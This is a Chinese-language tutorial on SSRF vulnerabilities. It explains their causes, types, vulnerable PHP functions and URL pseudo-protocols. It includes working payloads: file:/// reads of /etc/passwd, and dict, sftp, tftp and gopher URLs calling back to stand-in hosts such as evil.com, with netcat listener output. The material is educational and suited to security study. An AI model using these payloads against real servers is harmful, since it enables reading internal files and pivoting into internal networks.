一.SSRF是什么?
SSRF(全称是Server-Side Request Forgery:即为服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,本质是属于信息泄露漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。,因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击。
二.为什么会出现SSRF漏洞?
也可以说进行SSRF攻击的原理是什么?
SSRF漏洞出现的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
利用条件:
(1)攻击者可以通过公网访问到某个web服务器;
(2)但是攻击者是无法通过公网访问到内网的其他设备或者办公区域;
(3)这时候如果想进行内网探测,web服务器同时存在SSRF漏洞,就能以web服务器作为跳板,进而攻击其他服务器或区域。
三.SSRF分类以及验证思路
SSRF分为三种:
1.完全回显SSRF
2.半回显SSRF
3.无回显SSRF
SSRF多种思路验证
SSRF验证判断中三种不同业务的SSRF产生不同的判断方式
第一种完全回显可以靠着回显的信息来判断是否访问到内网
第二种半回显的依然很有价值,它也许回返回出title或者是远程图片
第三种它就像盲注一样你需要花各种方式去尝试它确认它的存在
四.SSRF会存在于哪些地方?
SSRF一般会存在哪些地方,主要了解SSRF是服务端请求伪造,那么它会出现的位置就是在远程请求的功能点上。
例如,通过URL分享网页内容,在线翻译,通过url对图片的加载和下载,远程加载图片远程下载,
远程读取链接内容,扫描远程地址,转码服务等,这些都是正常的功能,但是一般被恶意利用,就能让被攻击的web服务器作为跳板进而来入侵其他可以访问的本地或远程服务器。
凡是请求第三方或者url的操作功能都可能存在
所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞
五.SSRF利用的条件:
(1)web服务器存在SSRF漏洞;
(2)web服务器有访问本地或远程服务器的权限;
六.举例php中可能存在SSRF漏洞的函数。
1、file_get_contents:
例如使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
2、sockopen():
例如使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
3、curl_exec():
curl这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
七.URL伪协议
我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容
dict:// 字典服务器协议,访问字典资源
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
1、file
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
2、dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
以上函数部分参考了这篇博文:
原文链接:SSRF漏洞原理攻击与防御(超详细总结)-优快云博客